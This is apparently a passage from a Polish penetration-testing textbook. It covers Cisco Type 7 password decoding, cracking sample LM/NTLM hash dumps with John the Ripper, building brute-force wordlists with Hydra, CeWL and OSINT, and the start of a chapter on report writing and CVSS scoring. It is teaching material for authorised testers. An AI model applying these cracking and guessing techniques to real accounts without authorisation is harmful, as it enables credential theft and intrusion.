Zastanów się nad skutkami kolizji w przypadku pobierania plików z internetu. W rozdziale 3.
„Przygotowanie narzędzi do hakowania” mówiliśmy już, dlaczego tak ważne jest sprawdzanie spój-
ności pobranych plików. W tym miejscu często stosowano funkcję MD5, ale możliwość powstawa-
nia w niej kolizji sprawia, że haker mógłby dodać do pliku złośliwe oprogramowanie i zmienić go
tak, że mimo tego dodatku generowałby poprawną wartość skrótu. To właśnie dlatego tak ważne
jest stosowanie bezpiecznych algorytmów haszujących również przy sprawdzaniu spójności plików
lub przesyłanych komunikatów.

Pseudohaszowanie
Systemy osadzone i sprzęt, w którym zawsze brakuje miejsca na dane, często próbują oszczędzać
na bezpieczeństwie. Zamiast haszowania haseł lub choćby ich szyfrowania mogą stosować funkcję,
która generuje wartości przypominające wartość skrótu, ale w rzeczywistości będące jedynie zako-
dowanym ciągiem znaków. Przykładem takiej funkcji może być metoda „szyfrująca” Cisco Type 7,
która jest używana w kilku urządzeniach sieciowych firmy Cisco. Przechowywane w tej formie
hasła można bardzo łatwo odzyskać. W tych urządzeniach używany jest zapisany na stałe klucz
tfd;kfoA,.iyewrkldJKD, który służy do kodowania haseł za pomocą operatora XOR.

3681988c430c7fe1e8567c4e2f281f7b
3
528 Rozdział 14  Hasła

Bardzo łatwo popełnić błąd i przeglądając dane w tabeli lub pliku, założyć, że to, co sprawia
wrażenie zaszyfrowanych lub haszowanych danych, rzeczywiście takie jest. Z tego powodu warto
też próbować odkodować dostępne dane (czasami nawet dekodowanie base64 daje dobre wyniki!)
metodami prezentowanymi już przy omawianiu aplikacji sieciowych. Warto też przeczytać doku-
mentację sprzętu lub systemu, z którym aktualnie pracujesz, poszukując w niej wskazówek infor-
mujących o możliwych błędach w oprogramowaniu lub w usługach działających na serwerze. Cza-
sami znajdziesz tam informacje, które pozwolą na łatwe odkodowanie różnych ciągów znaków.
Oto wycinek pliku konfiguracyjnego pobranego z przełącznika sieciowego firmy Cisco, w któ-
rym używane są hasła kodowane metodą Type 7:
version 12.2
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname HHSwitch
!
!
banner motd ^C
HackerHouse Hands-On Hacking Core Switch
^C
!
boot-start-marker
boot-end-marker
!

W dalszej części tego pliku zapisanych jest kilka haseł „haszowanych” metodą Type 7:
enable secret 7 022E055800031D09435B1A1C5747435C

!
username admin password 7 022E055800031D09435B1A1C

Oba hasła wyglądają tak, jakby zostały poddane szyfrowaniu lub haszowaniu, choć tak na-
prawdę jedynie zaciemniono ich zapis, a do ich dekodowania można wykorzystać narzędzie do-
stępne pod adresem https://www.hackerhousebook.com/files/cisco_type7.pl. Wystarczy jedynie uru-
chomić ten skrypt w języku Perl, używając do tego poniższego polecenia:
perl cisco_type7.pl

Skrypt poprosi Cię o podanie zakodowanego hasła:

[+] Cisco 'Type 7' Password Decrypt Tool
[-] Encrypted password?

W tym miejscu wystarczy wkleić hasło zakodowane metodą Type 7 (na przykład 022E05580003
´1D09435B1A1C), aby od razu otrzymać oryginalne hasło, tak jak poniżej:
[-] Encrypted password? 022E055800031D09435B1A1C
[-] Result: HackerHouse

3681988c430c7fe1e8567c4e2f281f7b
3
Haszowanie z firmą Microsoft 529

Takie pliki konfiguracyjne można czasem znaleźć w obszarze rozruchowym PXE, który jest do-
stępny za pomocą protokołu TFTP, a czasami nawet w katalogu głównym jednego z członków
zespołu technicznego. Poszukiwanie współdzielonych plików z takimi informacjami konfiguracyj-
nymi przez lata było doskonałym źródłem informacji, dlatego zalecamy, aby przy każdej udanej
próbie uzyskania dostępu do sieci poszukiwać techników odpowiedzialnych za zarządzanie sprzę-
tem sieciowym i przeglądać zawartość ich plików.

Haszowanie z firmą Microsoft

Już od systemu Windows XP hasła przechowywane są w bazie danych SAM (Security Account Ma-
nager). Ma ona postać pliku (zapisywanego w katalogu C:\Windows\System32\config\SAM), który
jest stale zablokowany przez jądro systemu Windows, oczywiście pod warunkiem, że system działa.
Poza tym plik jest zaszyfrowany, co dodatkowo utrudnia skopiowanie go z dysku w celu przepro-
wadzenia późniejszych prób złamania szyfru. Istnieje jednak możliwość odczytania skrótów haseł
zapisanych w pamięci RAM albo pobrania zawartości tych plików, ale potrzebne są do tego odpo-
wiednio wysokie uprawnienia. Starsze systemy mogą nadal korzystać ze słabej funkcji haszującej LM
(skrót od LANMAN lub LAN Manager), natomiast w nowszych systemach zwykle stosowana jest
funkcja haszująca NT Lan Manager (NTLM).
Jeżeli w przypadku używania funkcji LM hasło jest dłuższe niż 7 znaków, ale krótsze niż 14
znaków, to generowane są dwie wartości skrótu — jedna dla pierwszych siedmiu znaków i druga
dla kolejnych siedmiu. Przed rozpoczęciem haszowania wszystkie litery zmieniane są na wielkie,
przez co w hasłach wielkość liter przestaje mieć znaczenie.
Mimo że firma Microsoft przygotowała już usprawnioną funkcję haszującą — NTLM, to część
systemów nadal korzysta z funkcji LM, mimo że znane są jej niedoskonałości. Ma to szczególne
znaczenie dla organizacji, które migrują z jednego systemu operacyjnego na inny, na przykład
z systemu Windows Server 2000 na Windows Server 2003 lub Windows Server 2008. W takich
migracjach ustawienia bezpieczeństwa zostają przejęte z poprzedniej konfiguracji bez żadnych
zmian. Niestety uzyskanie pierwotnej postaci tekstu z wartości skrótu LM nie jest żadnym proble-
mem. Przy wykorzystaniu odpowiedniej tablicy tęczowej zajmuje to dzisiaj nie więcej niż kilka se-
kund. Doskonałym narzędziem do łamania skrótów LM jest program John the Ripper. Oto kilka
przykładów, którymi na pewno warto się zainteresować:
Administrator:500:D44EC5619C72E05617306D272A9441BB:C9BC6781D1A47512D5D67
CAE96258462:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
adams:1001:55D7D9FACAAEAC5B09752A3293831D17:A696A6F4DB4BC1178159BE94D4F
3EC54:::
jessep:1005:AFF26CC5635ED7916D3A627C824F029F:4A3A3C836B4AAA3B306E5BC4
34E22345:::
peterh:1002:2212B147D8D319BE88D7822268471CBA:116D0D5AE69780B
85E25548284337832:::
stepha:1006:NO PASSWORD*********************:1DF28481C07E99BD11E75B7CE66
82BF5:::
thorw:1003:F6622C9A18770B73AAD3B435B51404EE:454F248AA982FB52AEB2034B4
02B6523:::
walterw:1004:443D5FCB03764D6E92B4C01E7F2E6D90:FC3DE6DDFF4A4D5F68A6450
01F881644:::

3681988c430c7fe1e8567c4e2f281f7b
3
530 Rozdział 14  Hasła

Z pewnością program John the Ripper wypisze komunikaty o wszystkich wykrytych typach
skrótów. Zauważysz też, że programowi udaje się złamać kilka z tych skrótów, ale potem się zatrzy-
muje. Naciśnięcie klawisza Enter nakazuje programowi wypisanie aktualnego stanu, a próbę łama-
nia skrótu można w każdej chwili przerwać kombinacją klawiszy Ctrl+C. Można też użyć opcji
show, aby nakazać programowi wyświetlanie złamanych haseł po zakończeniu procesu albo po
przerwaniu jego pracy. Odpowiednie polecenie powinno wyglądać tak:
john --show lanman.txt

Program wyświetli wtedy zawartość podanego pliku ze skrótami, ale tym razem obok nazw
użytkowników umieści tekst złamanych haseł. Będzie też podawał liczbę już złamanych haseł oraz
liczbę skrótów do złamania. John the Ripper automatycznie zapisuje aktualny postęp prac, aby
w przypadku przerwania procesu możliwe było wznowienie działań.
Spróbuj też uruchomić ten program z opcją format. W ten sposób pomijana jest funkcja auto-
matycznego wykrywania rodzaju skrótu. W przypadku pracy ze skrótami NTLM wystarczy przy-
pisać opcji wartość NT, tak jak poniżej:
john --format=NT lanman.txt

Jeżeli chcesz łamać skróty LM, to użyj formatu LM:

john --format=LM lanman.txt

Oczywiście opcji format można użyć razem z opcją show. Na przykład tak:
John --show --format=NT lanman.txt

Poniżej prezentujemy kilka skrótów NTLM:

Administrator:500:NO PASSWORD*********************:A87F3A337D73085C45F94
16BE5787D86:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
andyp:1009:NO PASSWORD*********************:420A8B79934C0663B6F532FB
0DB16535:::
carrm:1008:NO PASSWORD*********************:5AA88493BB25E1F8357B4565D53D
C6A0:::
ericb:1010:NO PASSWORD*********************:BA5EE5061DE675F63F8E
7BD022074063:::
marko:1012:NO PASSWORD*********************:1B853BB23B463809C43DCD73DBD
52D88:::
pedron:1007:NO PASSWORD*********************:56780793B7CFC4983E85C658D0F
9A32A:::
thomasz:1011:NO PASSWORD*********************:1E7A9FB12F8E387A1117D4CEE2
8F630B:::

Pamiętaj, że istnieją też inne narzędzia, których możesz użyć do pobierania i łamania skrótów
haseł z systemów Windows, takie jak 0phrack (https://ophcrack.sourceforge.net) albo Cain & Abel
(https://www.oxid.it/cain.html).

3681988c430c7fe1e8567c4e2f281f7b
3
Zgadywanie haseł 531

Zgadywanie haseł
Jedną z metod uzyskiwania haseł jest znajdowanie ich skrótów i późniejsze ich łamanie, aby od-
tworzyć pierwotną postać hasła. Istnieją jednak też inne sposoby pozyskiwania (lub potwierdzania)
haseł użytkowników. Jednym z nich jest przeprowadzanie ataków siłowych za pomocą takich na-
rzędzi jak Hydra (mówiliśmy o nim już w rozdziale 6. „Poczta elektroniczna”), które próbuje siłowo
zalogować się do systemu, używając podanej listy słów. Jeżeli masz zamiar poświęcić choć trochę
czasu na przeprowadzanie takich ataków siłowych, to zainwestuj też chwilę na przemyślenie i przy-
gotowanie własnej listy haseł. Jeżeli w pliku umieścisz dziesiątki tysięcy haseł, to ich wypróbowanie
zajmie programowi takiemu jak Hydra całkiem sporo czasu, oczywiście przy założeniu, że w mię-
dzyczasie nie zostanie on zablokowany. Na początku takiej listy dobrze jest umieścić najczęściej
wykorzystywane hasła. Wiele osób nadal korzysta z tak słabych haseł jak „123456” albo „Haslo1”
(naprawdę ludzie używają takich haseł, jeżeli tylko jest to możliwe). W sieci znaleźć można wiele
list, w których ludzie próbowali zebrać najczęściej pojawiające się hasła. Przez lata widzieliśmy, że
wśród takich haseł znajdują się nazwy dni tygodnia, łatwe do zapamiętania liczby, daty, sekwencje
klawiaturowe (takie jak 1qaz2wsx), imiona dzieci, nazwy zespołów sportowych itp.
Podczas prób zgadywania haseł trzeba też brać pod uwagę informacje o swoim kliencie oraz
osobiste okoliczności i preferencje. Jeżeli aplikacja wymusza stosowanie takich zasad jak: „Musisz
użyć przynajmniej jednej dużej litery, jednej małej litery, jednej cyfry oraz jednego znaku specjal-
nego”, to upewnij się, że hasła z Twojej listy również będą zgodne z tymi wymaganiami. Oznacza
to konieczność zmutowania typowego hasła „Haslo” lub „haslo” do postaci zgodnej z wymaganiami,
na przykład „H4sl0!”. Na liście powinny się znaleźć też inne warianty takiego zapisu, ponieważ
ludzie mogą zastosować nieco inne rozwiązania. Na szczęście nie trzeba tego robić ręcznie, ponie-
waż odpowiednia funkcja do mutowania haseł jest już wbudowana w program John the Ripper.
Innym rozwiązaniem może być przeglądanie strony WWW swojego klienta lub innych należą-
cych do niego zasobów sieciowych w poszukiwaniu interesujących słów, które pracownicy mogliby
wykorzystać jako swoje hasło. Istnieje specjalne narzędzie o nazwie CeWL (https://digi.ninja/projects/
cewl.php), które może wykonać tę pracę za Ciebie. Przechodzi ono przez całą witrynę sieciową i wy-
pisuje listę słów, które można wykorzystać w swojej liście słów.
Takie gotowe listy można też znaleźć w wielu miejscach w sieci. Na początek wypróbuj te dołą-
czone do systemu Kali Linux, a później możesz zainteresować się innymi źródłami, takimi jak
strona https://openwall.com/passwords/wordlists, na której udostępniane są listy haseł w wielu róż-
nych językach. Typowym błędem popełnianym przez początkujących hakerów jest ignorowanie
języka i regionu, z którego pochodzi atakowany system.
Jak mówiliśmy już w rozdziale 4. „Zbieranie danych z otwartych źródeł” w niektórych przypad-
kach trzeba poświęcić naprawdę sporo czasu na zbieranie informacji o swoim celu, przeglądanie
publicznie dostępnych komunikatów w mediach społecznościowych itd. W takich miejscach można
znaleźć drobne szczegóły, takie jak imiona dzieci, zwierząt domowych albo ulubionych zespołów
sportowych, i wszystkie je można umieścić na swojej liście. Możesz też dodać do niej hasła, które
już wcześniej udało się złamać, a które uzyskano z innych źródeł, takich jak plik /etc/shadow po-
chodzący z innych komputerów. One również mogą się przydać w danej sytuacji.
Zaprezentowanych tu metod nie trzeba stosować w oderwaniu od siebie. Niektóre z rozwiązań
można (albo i trzeba) łączyć ze sobą, aby uzyskać lepsze wyniki z ataków siłowych. Przygotowane
listy słów można wykorzystywać również w takich narzędziach jak Hashcat i John the Ripper.

3681988c430c7fe1e8567c4e2f281f7b
3
532 Rozdział 14  Hasła

Sztuka łamania haseł

Prace związane ze zbieraniem skrótów haseł i próbami ich łamania można traktować jak swego
rodzaju sztukę. Wiele osób uznaje je za swoje hobby i inwestuje spore sumy w przygotowanie spe-
cjalizowanego sprzętu. Procesory graficzne są świetnym narzędziem do generowania skrótów na
potrzeby wykonywania porównań. Są one znacznie skuteczniejsze w tym zakresie od procesorów
komputerowych, ponieważ przetwarzanie obrazów pod wieloma względami bardzo przypomina
algorytmy przeznaczone do generowania skrótów kryptograficznych. Takie przetwarzanie danych
jest raczej działaniem równoległym, a nie szeregowym. Istnieją też inne rodzaje sprzętu, takie jak
układy ASIC (application specific integrated circuits — układy scalone do konkretnych zadań) albo
układy FPGA (field-programmable gate arrays — programowane układy bramek logicznych), które
w wielu przypadkach są używane właśnie do łamania haseł (rysunek 14.2). Układy ASIC są produ-
kowane specjalnie do wykonywania konkretnych działań, na przykład do kopania kryptowalut albo
do łamania haseł, dlatego są w stanie wykonywać te prace znacznie skuteczniej niż układy scalone
ogólnego przeznaczenia, takie jak procesory komputerowe, a nawet procesory graficzne. Układy
FPGA są do nich podobne, ale dają możliwość przeprogramowywania zawartych w nich układów
bramek logicznych, dlatego umożliwiają wprowadzanie zmian nawet po zakończeniu ich pro-
dukcji. To właśnie dlatego mają w nazwie słowa field programable, co oznacza możliwość swo-
bodnego przeprogramowania.

Rysunek 14.2. Układ FPGA używany do łamania skrótów haseł

Istnieją też usługi chmurowe umożliwiające łamanie haseł, często nazywane cloud cracking lub
Cracking-as-a-Service (CaaS). Pozwalają one przesłać zdobyte wcześniej skróty haseł, a ich łama-
niem zajmą się komputery usługodawcy. W ten sposób można na przykład używać procesorów
graficznych udostępnianych przez Amazon Web Services, które są obsługiwane w systemie Kali
Linux. Tworzenie własnego sprzętu do łamania haseł, składającego się z wielu zaawansowanych
kart graficznych albo specjalizowanego sprzętu, i korzystanie z niego jest raczej drogim rozwiąza-
niem. Używanie w tym celu serwisów chmurowych jest doskonałą i znacznie tańszą alternatywą.
Trzeba jednak pamiętać o konsekwencjach, jakie może mieć przesyłanie do tych usług skrótów
haseł z systemów klienta.

3681988c430c7fe1e8567c4e2f281f7b
3
Generatory liczb losowych 533

W sieci istnieją też strony oferujące nagrody pieniężne za skuteczne złamanie skrótów haseł.
Pozwalają one na przesłanie własnego zbioru skrótów z ofertą nagrody dla osoby, która zdoła je
złamać. Pamiętaj jednak, że takie działania mogą się nie spodobać Twojemu klientowi, a nawet
mogą okazać się złamaniem zapisów waszej umowy. Z tego powodu raczej nie zaleca się korzysta-
nia z usług firm trzecich do łamania skrótów haseł z systemów klienta. W tym przypadku lepiej jest
przygotować własny system albo korzystać z prywatnych rozwiązań chmurowych.

Generatory liczb losowych

Liczby losowe są niezwykle istotnym elementem w bezpieczeństwie systemów komputerowych,
ponieważ zwiększają entropię (poziom losowości) danych haszowanych lub szyfrowanych, co
zmniejsza prawdopodobieństwo wykrycia w tych danych jakichkolwiek wzorców. Jeżeli w danych
zostaną wykryte jakieś wzorce (na przykład to, że pewne znaki są zawsze haszowane lub szyfrowane
w ten sam sposób), to ich analiza może umożliwić „złamanie” wykorzystywanego schematu szy-
frowania. W terminologii ataków siłowych taka sytuacja nazywana jest warunkiem zatrzymania.
Ta sama koncepcja była wykorzystywana w czasie drugiej wojny światowej przy próbach rozszy-
frowania wiadomości zaszyfrowanych niemiecką maszyną Enigma (rysunek 14.3).

Rysunek 14.3. Niemiecka maszyna Enigma

Źródło: https://upload.wikimedia.org/wikipedia/commons/e/e4/
Commercial_ENIGMA_-_National_Cryptologic_Museum_-_DSC07755.JPG

Skróty kryptograficzne również muszą mieć odpowiednio wysoką entropię, aby zapobiegać ko-
lizjom i zmniejszać prawdopodobieństwo odwrócenia funkcji haszującej. Na podobnej zasadzie
zwiększenie entropii w używanych przez Ciebie hasłach bardzo utrudnia ich złamanie za pomocą
metod siłowych.

3681988c430c7fe1e8567c4e2f281f7b
3
534 Rozdział 14  Hasła

Często możesz spotkać się z pojęciem generatorów liczb pseudolosowych, a nie liczb losowych.
Po prostu komputery nie są w stanie samodzielnie generować liczb prawdziwie losowych. Wszyst-
kie komputery są projektowane tak, żeby działać w sposób powtarzalny i przewidywalny. Chcemy
w końcu, żeby tak właśnie działały wszystkie nasze programy. Wykonywane przez nie obliczenia
powinny być zawsze (za każdym razem) tak samo dokładne! Wadą takiego sposobu pracy jest to,
że komputery nie są w stanie wygenerować prawdziwie losowych liczb, dlatego zwykle do przygo-
towywania takich liczb konieczne jest stosowanie specjalizowanego sprzętu, który zwykle nazy-
wany jest sprzętowym modułem bezpieczeństwa HSM (Hardware Security Module). Mimo tych
wszystkich ograniczeń nowoczesne komputery wystarczająco dobrze radzą sobie z generowaniem
liczb pseudolosowych o poziomie entropii wystarczającym dla rozwiązań kryptograficznych.

FUNKCJA PRNG W SYSTEMIE DEBIAN (CVE-2008-0166)

W 2008 roku wykryty został błąd w generatorze liczb pseudolosowych wykorzystywanym w sys-
temie Debian. W tym przypadku pewne dane wyjściowe były o wiele bardziej przewidywalne,
niż zakładano. System przyjmował znane wcześniej wartości i stosował je do zainicjowania ge-
neratora liczb pseudolosowych. Wykorzystywano tu identyfikatory procesów (PID) działających
w danym momencie w systemie. Oczywiście uzyskanie listy tych identyfikatorów nie jest trudne,
a poza tym same identyfikatory pochodzą z ograniczonej puli wartości. I choć samo stosowanie
wartości początkowej dla generatora nie jest żadnym problemem, to już wykorzystywanie
w tym miejscu wartości łatwej do odgadnięcia może stać się źródłem kłopotów. W efekcie moż-
liwe było odgadywanie wartości kluczy SSH (oraz wielu innych kluczy), co umożliwiało wykorzy-
stanie tego błędu do zalogowania się na zdalnym systemie poprzez protokół SSH! Po prostu
istniała jedynie ograniczona liczba różnych kluczy prywatnych, które dana osoba mogła dla sie-
bie wygenerować. Po ujawnieniu tej słabości szybko zaczęła być ona wykorzystywana przez ha-
kerów do włamań do systemów wielu instytucji naukowych. Takie włamania zostały zatrzymane
dopiero po rozpowszechnieniu czarnej listy kluczy SSH. Jeżeli wyniki działania generatora nie są
w pełni losowe, przez co sekwencje liczb losowych mogą być przewidywalne, może to prowa-
dzić do naprawdę poważnych szkód w systemach.

Podsumowanie
Mimo że część algorytmów haszujących bazuje na algorytmach szyfrujących, to samej operacji ha-
szowania nie należy mylić z szyfrowaniem. To dwie całkowicie odmienne operacje. Haszowanie
pobiera dowolny tekst na wejściu i wykonuje na nim funkcję jednokierunkową, której odwrócenie
powinno być jak najbardziej skomplikowane. Z kolei szyfrowanie musi być odwracalne, ale wy-
łącznie dla kogoś, kto dysponuje odpowiednim tajnym kluczem.
Jeżeli podczas wykonywania testu penetracyjnego dla klienta pojawia się okazja do próby zła-
mania haseł, to należy zacząć próby jak najwcześniej, aby nie spowalniać tempa swoich prac. Naj-
lepiej jest zastosować do tego komputer, który może pracować niezależnie od innych używanych
przez Ciebie systemów. Odsuwanie łamania haseł na sam koniec prac nie jest najlepszym pomy-
słem, ponieważ możesz w ten sposób stracić możliwość uzyskania dostępu do niektórych hostów.
Im dłużej będzie pracować system łamiący hasła, tym większa szansa, że któreś z nich w końcu uda się
złamać. Przy odpowiednio długim czasie szansa odparcia takiego ataku spada praktycznie do zera.

3681988c430c7fe1e8567c4e2f281f7b
3
Podsumowanie 535

W związku z rozwojem technologii nie ustaje wyścig zbrojeń między bezpiecznymi algoryt-
mami haszującymi a metodami ich łamania. Pamiętaj zatem, że to, co dzisiaj zalecasz swoim klien-
tom, z czasem na pewno będzie się zmieniać. Dawniej funkcje haszujące DES, LM i MD5 były
uznawane za wystarczająco bezpieczne do przechowywania haseł, ale według dzisiejszych standar-
dów okazują się śmiesznie łatwe do złamania, dlatego należy ich unikać w użytkowanych aplika-
cjach, wybierając raczej bezpieczne alternatywy, takie jak SHA512.
Nie zawsze uda Ci się skutecznie złamać zdobyte skróty haseł, ale po przeprowadzeniu wszyst-
kich kontroli dobrze jest upewnić się, że użytkownicy systemów Twojego klienta nie korzystają ze
słabych haseł. Możesz też kontrolować, czy w systemach klienta stosowane są najlepsze praktyki
dotyczące bezpiecznego przechowywania skrótów haseł. Nie przejmuj się też w sytuacji, gdy żadne
ataki słownikowe, własne listy słów ani tabele tęczowe nie dają rezultatów. Pamiętaj, że stosującym
ataki siłowe zwykle sprzyja szczęście.

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

15
Pisanie raportów

Raport z testu penetracyjnego jest elementem przekazywanym klientowi po zakończeniu prac,

który dokumentuje zarówno wszystkie wykryte nieprawidłowości, jak i sam proces wykonywanych
prac. Taki raport powinien zawierać jasne, spójne i prawdziwe informacje, z których będzie mogła
skorzystać każda czytająca go osoba.
Jeżeli pracujesz w ramach programu wynagrodzeń za znalezione błędy, to w raporcie musisz
zawrzeć szczegóły znalezionego błędu. Pisanie raportów jest bardzo przydatne nawet podczas pracy
z własnymi systemami, ponieważ pozwala lepiej zrozumieć zasady prowadzonego przez siebie pro-
cesu testów penetracyjnych. Musisz zatem skupiać się na wykrytych podatnościach, opisywać, na
czym one polegają, i prezentować działania niezbędne do ich usunięcia (a jeżeli problemu nie da
się usunąć, to musisz przynajmniej opisać działania umożliwiające minimalizację ryzyka). Co wię-
cej, musisz też mieć pewność, że rozumiesz motywację swojego klienta do zlecenia tego testu i znasz
cele biznesowe, które Twój klient chce w ten sposób osiągnąć.
Oprócz podawania szczegółów technicznych znalezionych błędów należy też oszacować, jaki
wpływ mogą mieć te błędy na finanse klienta oraz jak mogą wpływać na jego reputację i markę.
Tworzenie raportu końcowego jest niezwykle istotnym elementem całego testu penetracyjnego,
który niestety jest często pomijany przez entuzjastycznych hakerów. Jest to umiejętność, którą
trzeba zdobyć i cały czas rozwijać, ponieważ tylko w ten sposób można zaprezentować swoją pracę
i przekazać klientowi jej wyniki, za które przecież pobierasz pieniądze.

Czym jest raport z testu penetracyjnego?

Raport z testu penetracyjnego jest zwyczajnym raportem, czyli dokumentem przygotowywanym
przez testera penetracyjnego dla swojego klienta zaraz po zakończeniu testu. Pisanie raportu z testu
penetracyjnego różni się od pisania informacji na temat bezpieczeństwa systemu, w której zwykle
zawierane są techniczne informacje związane z jedną podatnością (lub kilkoma powiązanymi).

536

3681988c430c7fe1e8567c4e2f281f7b
3
System CVSS 537

Sam raport wymaga odpowiedniego przełożenia wiedzy technicznej na język zrozumiały dla od-
biorców nietechnicznych.
Dokument raportu powinien szczegółowo objaśniać kadrze dyrektorskiej i pracownikom tech-
nicznym wszystkie znalezione podatności oraz podawać zalecenia dotyczące usuwania tych podat-
ności. Nie można też zapomnieć o ocenie ryzyka, jakie te podatności tworzą dla organizacji klienta.
Istnieje wiele narzędzi, frameworków i pakietów publikacyjnych, które można wykorzystać do
dokumentowania wykrytych problemów. Każda firma i każdy zespół może mieć swój własny sys-
tem zarządzania pracą, łączący się z platformami publikacyjnymi, z którymi przyjdzie Ci pracować.
Zazwyczaj procesy związane z raportami są obsługiwane przez testera penetracyjnego, ale same
dokumenty są generowane w ramach procesów realizowanych przez firmę testującą.
Gdy w firmie Hacker House przygotowujemy raport dla klienta, to dzielimy go na kilka roz-
działów. Każdy z rozdziałów przeznaczony jest dla innego rodzaju odbiorców. Tworząc tekst
raportów, mówimy raczej o problemach, a nie o podatnościach, choć każdy z problemów jest zwykle
wskaźnikiem istnienia jakiejś podatności. Czasami problemy mogą być czysto informacyjne,
co oznacza, że mogą dotyczyć spraw, które same w sobie nie stanowią ryzyka dla klienta, a mimo
to warto zwrócić na nie jego uwagę. Poszczególne problemy należy szeregować w kolejności rosną-
cego poziomu ryzyka. Dobrą praktyką jest też przypisywanie każdemu problemowi pewnej oceny.
Nasz sposób pracy polega na tym, że staramy się jak najbardziej wykorzystywać zautomatyzo-
wane frameworki wspomagające nas podczas pisania raportu, dlatego przyjrzymy się im w dalszej
części rozdziału.

RYZYKO

Problem wysokiego ryzyka jest problemem o dużym prawdopodobieństwie wystąpienia.

Przykładem może być niezałatana podatność, która jest powszechnie wykorzystywana w sieci,
a na dodatek może przyczyniać się do powstania poważnych szkód, na przykład do kradzieży
wrażliwych danych klientów, co może oznaczać złamanie prawa o ochronie danych i wiązać się
z koniecznością zapłaty wysokich kar. Takie problemy mogą przyczyniać się do zmniejszenia
wartości akcji firmy. Z drugiej strony problem niskiego ryzyka może być podatnością, która
nie powoduje dalekosiężnych ani poważnych konsekwencji. Tutaj przykładem może być serwis
SMTP, który w komunikacie powitalnym podaje swój numer wersji (zakładamy, że oprogramo-
wanie jest w pełni zaktualizowane). Rozbudowany komunikat powitalny nie jest podatnością,
która może natychmiast spowodować jakieś problemy, ale w przyszłości może to umożliwić
atakującemu wyszukanie exploitów nadal działających na tę wersję oprogramowania. Oczy-
wiście definicja poziomu ryzyka danej podatności będzie uzależniona od sytuacji klienta, dla
którego pracujesz.

System CVSS
Jedną z metod oceniania problemów lub podatności jest system CVSS (Common Vulnerabilities
Scoring System), a raczej kilka jego wersji. W tym rozdziale będziemy korzystać z wersji 3.1, która
została wydana w czerwcu 2019 roku. Podstawowe informacje na temat tego systemu można uzy-
skać na stronie https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator, która jest dostępnym bez opłat
kalkulatorem ocen. Oczywiście istnieją też inne kalkulatory działające na podobnych zasadach,

3681988c430c7fe1e8567c4e2f281f7b
3
538 Rozdział 15  Pisanie raportów

a poza tym nic nie stoi na przeszkodzie, żeby zaimplementować też własne rozwiązanie tego typu.
Szczegółowe informacje na temat systemu CVSS zostały zebrane na stronie https://www.first.org/cvss.
System CVSS pozwala nadać każdej podatności ocenę z zakresu od 0 do 10, w której 0 oznacza
brak ryzyka, natomiast 10 to ryzyko krytyczne. Aby uzyskać ocenę, należy wprowadzić dane
do specjalnego kalkulatora (który jest implementacją metod wyliczania oceny dla podatności).
Za pomocą takich ocen można znacznie łatwiej wyjaśnić klientowi wagę i ryzyko wszystkich zna-
lezionych problemów.
Jako przykład pokażemy tu sposób wyznaczania bazowej oceny dla podatności wykorzystującej
wstrzykiwanie poleceń SQL. W systemie CVSS przy wyznaczaniu oceny bazowej (ang. base score)
brane jest pod uwagę to, w jaki sposób można wykorzystać daną podatność i jaki ma ona wpływ na
podatne systemy. Można jednak pójść krok dalej i wyznaczyć również oceny czasową oraz środo-
wiskową. Ocena czasowa (ang. temporal score) bierze pod uwagę aktualną dostępność kodu exploitu
(chodzi o to, czy aktualnie jest publicznie dostępny łatwy w użyciu exploit, czy raczej wykorzystanie
podatności wymaga zaawansowanej wiedzy technicznej) oraz dostępność poprawek usuwających
podatność. Z kolei ocena środowiskowa (ang. environmental score) zajmuje się szerszym wpływem
podatności na infrastrukturę organizacji i bierze pod uwagę wszelkie mechanizmy obronne, jakie
organizacja może mieć już w swoim arsenale.
Aby wyliczyć ocenę bazową, należy podać następujące informacje:
 wektor ataku,
 złożoność ataku,
 wymagane uprawnienia,
 interakcję z użytkownikiem,
 zakres,
 wpływ na poufność danych,
 wpływ na spójność danych,
 wpływ na dostępność danych.

Wektor ataku
Wektor ataku może mieć naturę sieciową, sieciową bliską, lokalną lub fizyczną. Podatność na
wstrzykiwanie poleceń SQL wykryta w publicznie dostępnej aplikacji sieciowej będzie oznaczona
jako sieciowa (ang. network), co zwykle oznacza podatność, którą można wykorzystać zdalnie.
Z drugiej strony natura sieciowa bliska (ang. adjacent network) oznacza, że dana podatność może
być wykorzystywana wyłącznie z innego hosta w tej samej sieci lokalnej. Oznacza to niższe ryzyko,
ponieważ atakujący musi najpierw uzyskać dostęp do jednego z systemów w sieci wewnętrznej.
Natura lokalna (ang. local) oznacza, że do wykorzystania podatności konieczne jest najpierw uzy-
skanie dostępu do danego hosta. Oznacza to, że najpierw trzeba uzyskać dostęp do powłoki danego
systemu, co można zrobić za pomocą innej podatności. Wektorem ataku o najniższym ryzyku jest
wektor fizyczny (ang. physical). Oznacza on, że atakujący musi uzyskać fizyczny dostęp do atako-
wanego komputera. Jeżeli dana podatność wymaga, żeby do podatnego komputera podłączyć na-
pęd USB, to jest to typowy przykład fizycznej natury wektora ataku.

3681988c430c7fe1e8567c4e2f281f7b
3
System CVSS 539

Złożoność ataku
Złożoność ataku jest miarą tego, jak łatwo atakujący może wykorzystać daną podatność, co zależy
od czynników znajdujących się poza jego kontrolą. Złożoności ataku można przypisać jedną z dwóch
wartości: niską lub wysoką. Zazwyczaj podatność na wstrzykiwanie poleceń SQL istniejąca na pu-
blicznie dostępnym hoście będzie miała niską złożoność ataku, ponieważ taką podatność można
wykorzystywać wielokrotnie za pomocą tej samej procedury. Wysoka złożoność ataku oznacza, że
podatności nie da się wykorzystać za pomocą nieskomplikowanej procedury, ponieważ wymaga to
wykonania wieku kroków albo przy każdej próbie jej wykorzystania trzeba uwzględniać różne lo-
sowe elementy. Przykładem podatności o wysokim poziomie złożoności ataku jest błąd przepeł-
nienia bufora, ponieważ wymaga on analizy przestrzeni adresowej w pamięci, która może być
randomizowana, aby utrudnić wykonanie takiego ataku. W takich przypadkach konieczne jest sto-
sowanie metody prób i błędów.

Wymagane uprawnienia
Jeżeli do wykorzystania podatności wymagane są uprawnienia użytkownika root na danym hoście,
a nie użytkownika o niższych uprawnieniach albo nawet użytkownika gościa, to ryzyko wynikające
z takiej podatności jest zdecydowanie niskie. Jeżeli jednak atak może przeprowadzić dowolny użyt-
